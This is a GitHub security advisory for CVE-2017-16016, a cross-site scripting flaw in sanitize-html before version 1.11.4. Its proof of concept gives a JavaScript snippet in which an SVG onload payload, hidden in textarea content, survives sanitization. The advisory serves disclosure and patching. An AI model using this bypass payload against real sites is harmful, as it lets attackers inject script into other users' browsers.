ADVISORIES

GitHub Advisory Database

GHSA-xc6g-ggrc-qq4r

Cross-Site Scripting in sanitize-html

Moderate CVE-2017-16016

Details

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Affected packages

EcosystemPackageAffected versions
npmsanitize-html
All versions before 1.11.4 (fixed in 1.11.4)

References